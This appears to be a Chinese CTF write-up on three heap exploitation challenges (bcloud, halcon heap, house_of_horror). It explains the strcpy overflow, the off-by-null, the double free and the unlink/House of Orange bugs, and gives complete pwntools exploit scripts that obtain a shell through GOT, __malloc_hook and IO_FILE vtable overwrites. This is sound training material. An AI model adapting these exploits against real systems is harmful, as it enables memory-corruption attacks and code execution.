1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned int get_info () { char s; char *v2; int v3; char *v4; unsigned int v5; v5 = __readgsdword(0x14 u); memset (&s, 0 , 0x90 u); puts ("Org:" ); myraed((int )&s, 0x40 , 10 ); puts ("Host:" ); myraed((int )&v3, 0x40 , 10 ); v4 = (char *)malloc (0x40 u); v2 = (char *)malloc (0x40 u); org_ptr = (int )v2; host_ptr = (int )v4; strcpy (v4, (const char *)&v3); strcpy (v2, &s); puts ("OKay! Enjoy:)" ); return __readgsdword(0x14 u) ^ v5; }
详细查看栈排布可以发现,当复制第二个s的时候,因为strcpy是复制到\x00
才停止复制,所以,他会一直把v2、v3的内容都往堆里复制,导致可以把topchunk给改了。然后就很容易控制到bss中的list,然后就容易做了。
另外自己定义的read函数里面有off by null漏洞(但是malloc的时候加了4)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __cdecl sub_804868D(int a1, int a2, char a3) { char buf; // [esp+1 Bh] [ebp-Dh] int i; // [esp+1 Ch] [ebp-Ch] for ( i = 0 ; i < a2; ++i ) { if ( read(0 , &buf, 1 u) <= 0 ) exit (-1 ); if ( buf == a3 ) break ; *(_BYTE *)(a1 + i) = buf; } *(_BYTE *)(i + a1) = 0 ; // offbynullbyte return i; }
详细脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 from pwn import *elf = "./bcloud" note_array = 0x804b120 note_len_array = 0x804b0a0 puts_plt = 0x8048520 atoi_got = 0x804b03c free_got = 0x804b014 atoi_off = 0x2d250 system_off = 0x3ada0 p = process(elf) def new (size, content ): p.recvuntil("option--->>\n" ) p.sendline("1" ) p.recvline("Input the length of the note content:" ) p.sendline(str(size)) p.recvline("Input the content:" ) p.sendline(content) def edit (idx, content ): p.recvuntil("option--->>\n" ) p.sendline("3" ) p.recvline("Input the id:" ) p.sendline(str(idx)) p.recvline("Input the new content:" ) p.send(content) def delete (idx ): p.recvuntil("option--->>\n" ) p.sendline("4" ) p.recvuntil("Input the id:\n" ) p.sendline(str(idx)) ''' b *0x8048A8C b *0x8048B5B b *0x8048BED ''' p.recvline("Input your name:" ) p.send("A" *0x40 ) p.recvuntil("Hey " +"A" *0x40 ) heap_base = u32(p.recv(0x4 ))-0x8 log.info("heap_base: " +hex(heap_base)) p.recvuntil("Org:\n" ) p.send("A" *0x40 ) p.recvuntil("Host:\n" ) p.sendline(p32(0xffffffff )) off_size = note_len_array - (heap_base + 0xd8 + 0xc ) - (2 * 0x4 ) new(off_size, "" ) payload = p32(0x4 )*2 payload += p8(0 )*(0x80 -len(payload)) payload += p32(free_got) payload += p32(atoi_got) new(int("0xb0" , 0x10 ), payload) edit(0 , p32(puts_plt)) delete(1 ) p.recvuntil("Input the id:\n" ) libc_base = u32(p.recv(4 ))-atoi_off log.info("libc_base: " +hex(libc_base)) system_addr = libc_base+system_off edit(0 , p32(system_addr)) pause() new(8 , "/bin/sh" ) delete(1 ) p.interactive()
halycon heap
这道题漏洞主要是double free
泄露libc做了一个简单的堆排布,伪造了个堆头来free得到libc,再show出来,主要是通过覆盖低位fd来实现任意地址分配,分配在与1号堆块头前0x10大小的地方,然后再free掉1,得到libc在7号堆块,再show出来,有了libc之后,我们就double free覆盖malloc_hook来getshell就行了
详细脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *p = process("./halcon_heap" )elf = ELF("./halcon_heap" )libc = ELF("./libc.so.6" )def add(size, cont): p .recvuntil(">" ) p .sendline(str(1 )) p .sendlineafter("Enter the size of your deet:" , str(size)) p .sendafter("Enter your deet:" , cont) def show(index): p .recvuntil(">" ) p .sendline(str(2 )) p .recvuntil("Which deet would you like to view?" ) p .recv() p .sendline(str(index)) def delete(index): p .recvuntil(">" ) p .sendline(str(3 )) p .sendlineafter("Which deet would you like to brutally destroy off the face of the earth?" , str(index)) add (0 x20 , 'a'*16 + p64 (0 )+p64 (0 x31 )) #0 add (0 x20 , 'bbbbb') #1 add (0 x40 , 'ccccc') #2 add (0 x60 , (p64 (0 )+p64 (0 x21 )+p64 (0 )*2 )*2 ) #3 delete (0 )delete (1 )show (1 )heap_addr = u64 (p.recv(8 ))print hex(heap_addr)pause ()delete (0 )add (0 x20 , '\x20 ') #4 - 0 # overlap with 7 add (0 x20 , 'ddddd') #5 - 1 add (0 x20 , 'eeeee') #6 - 0 add (0 x20 , p64 (0 )+p64 (0 x91 )) #7 (0 ~1 )delete (1 )show (7 )p .recv(24 )libc_base = u64 (p.recv(8 )) - 88 -0 x3 c4 b20 print hex(libc_base)malloc_hook = libc.symbols['__malloc_hook'] + libc_baseadd (0 x60 , 'f'*8 ) #8 add (0 x60 , 'f'*8 ) #9 add (0 x60 , 'f'*8 ) #10 delete (8 )delete (9 )delete (8 )gad1 = 0 x45216 gad2 = 0 x4526 agad3 = 0 xf02 a4 gad4 = 0 xf1147 add (0 x60 , p64 (malloc_hook-0 x23 )) #9 add (0 x60 , 'p') #11 add (0 x60 , 'p') #12 add (0 x60 , 'a'*(0 x23 -16 )+p64 (gad4 +libc_base))p .recvuntil(">" )p .sendline(str(1 ))p .sendlineafter("Enter the size of your deet:" , str(0 x60 ))p .interactive()
house_of_horror
分配一个大块覆盖原来的两个块,然后在里面构造unlink,进而控制bss_list,泄露heap和libc,然后利用house of orage来getshell
修改_IO_list_all,然后在堆上伪造IO结构体和vtable,写__overflow 为system地址,然后abort之后就getshell了
调用顺序:(malloc_printerr->__libc_message->)abort->fflush(_IO_flush_all_lockp)->vtable->_IO_OVERFLOW(hijack->system)
关于调用system时参数的地址:
1 并且在 xsputn 等 vtable 函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus 地址。比如这例子调用 printf,传递给 vtable 的第一个参数就是_IO_2_1_stdout_ 的地址。
上面是CTFWIKI的解释,既然传入的是_IO_2_1_stdout_的地址,这个是调用printf时候的参数取值,当出现abort的时候调用的应该是_IO_2_1_stderr_的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 gdb-peda$ p *(struct _IO_FILE_plus *)0 x000000000211d020 $11 = { file = { _flags = 0 x6e69622f, _IO_read_ptr = 0 x0, _IO_read_end = 0 x0, _IO_read_base = 0 x0, _IO_write_base = 0 x0, _IO_write_ptr = 0 x1 <error: Cannot access memory at address 0 x1>, _IO_write_end = 0 x0, _IO_buf_base = 0 x0, _IO_buf_end = 0 x0, _IO_save_base = 0 x0, _IO_backup_base = 0 x0, _IO_save_end = 0 x0, _markers = 0 x0, _chain = 0 x0, _fileno = 0 x0, _flags2 = 0 x0, _old_offset = 0 x0, _cur_column = 0 x0, _vtable_offset = 0 x0, _shortbuf = "" , _lock = 0 x0, _offset = 0 x0, _codecvt = 0 x0, _wide_data = 0 x0, _freeres_list = 0 x211d0d0, _freeres_buf = 0 x0, __pad5 = 0 x0, _mode = 0 x0, _unused2 = "\000\000\000\000\220\343#o\213\177\000\000\220\343#o\213\177\000" }, vtable = 0 x211d0e8 } gdb-peda$ p *((struct _IO_FILE_plus *)0 x000000000211d020).vtable $10 = { __dummy = 0 x7f8b6f23e390, __dummy2 = 0 x7f8b6f23e390, __finish = 0 x211d0e8, __overflow = 0 x7f8b6f23e390 <__libc_system >, __underflow = 0 x101, __uflow = 0 x1e, __pbackfail = 0 x0, __xsputn = 0 x0, __xsgetn = 0 x0, __seekoff = 0 x0, __seekpos = 0 x0, __setbuf = 0 x0, __sync = 0 x0, __doallocate = 0 x0, __read = 0 x0, __write = 0 x0, __seek = 0 x0, __close = 0 x0, __stat = 0 x0, __showmanyc = 0 x0, __imbue = 0 x0 }
详细脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 from pwn import *p = process("./house_of_horror" )elf = ELF("./house_of_horror" )libc = ELF("./libc.so.6" )def add(size): p .sendlineafter('> ', '1 ') p .sendlineafter('Enter the size of your array:', str(size)) def edit(arr_index, ele_index, data): p .sendlineafter('>', "3" ) p .sendlineafter("Which array would you like to edit?" , str(arr_index)) p .sendlineafter("Which element would you like to edit?" , str(ele_index)) p .sendlineafter("What would you like to set this element to?" , str(data)) def free(index): p .sendlineafter('>', "4" ) p .sendlineafter("Which array would you like to view?" , str(index)) def show(arr_index, ele_index): p .sendlineafter('>', "2" ) p .sendlineafter("Which array would you like to view?" , str(arr_index)) p .recvuntil("Which element would you like to view?" ) p .recv() p .sendline(str(ele_index)) add (30 )#0 add (30 )#1 add (30 )#2 bss =0 x602060 +0 x18 f =bss-0 x18 b =bss-0 x10 add (0 x100 /8 -1 )#3 add (0 x100 /8 -1 )#4 add (0 x80 /8 -1 )#5 free (3 )free (4 )add ((0 x210 )/8 -1 )#6 edit (6 , 0 , 0 x101 )edit (6 , 1 , f)edit (6 , 2 , b)edit (6 , 31 , 0 x100 )edit (6 , 32 , 0 x90 )edit (6 , 49 , 0 )edit (6 , 50 , 0 x21 )edit (6 , 53 , 0 )edit (6 , 54 , 0 x21 )free (4 )show (3 , 0 )heap_addr = int(p.recvuntil('Done', drop=True)) - 0 x58 print "[+] heap_addr = " + str(hex(heap_addr))edit (3 , 0 , elf.got['puts']-8 )show (1 , 0 )puts_addr = int(p.recvuntil('Done', drop=True))print "[+] puts_addr = " + str(hex(puts_addr))libc_base = puts_addr - libc.symbols['puts']system_addr = libc.symbols['system'] +libc_basebinsh_addr = next(libc.search("/bin/sh" )) + libc_baseprint hex(binsh_addr)vtable = libc.symbols['_IO_list_all'] + libc_baseedit (3 , 0 , vtable-8 -8 *6 )edit (1 , 6 , heap_addr-0 x90 -0 x8 )# fake_vtable in heapedit (0 , 1 , u64 ('$0 \x00 \x00 \x00 \x00 \x00 \x00 '))#u64 ('/bin/sh\x00 '))edit (0 , 2 , 0 )edit (0 , 3 , 0 )edit (0 , 4 , 0 )edit (0 , 5 , 0 )edit (0 , 6 , 1 )for i in range(7 , 22 ): edit (0 , i, 0 ) edit (0 , 22 , heap_addr+0 x20 -0 x8 )for i in range(23 , 23 +3 ): edit (0 , i, 0 ) pause ()edit (0 , 26 , system_addr)edit (0 , 27 , system_addr)edit (0 , 28 , heap_addr+0 x20 -0 x8 +24 )edit (0 , 29 , system_addr)p .sendline('6 ')p .interactive()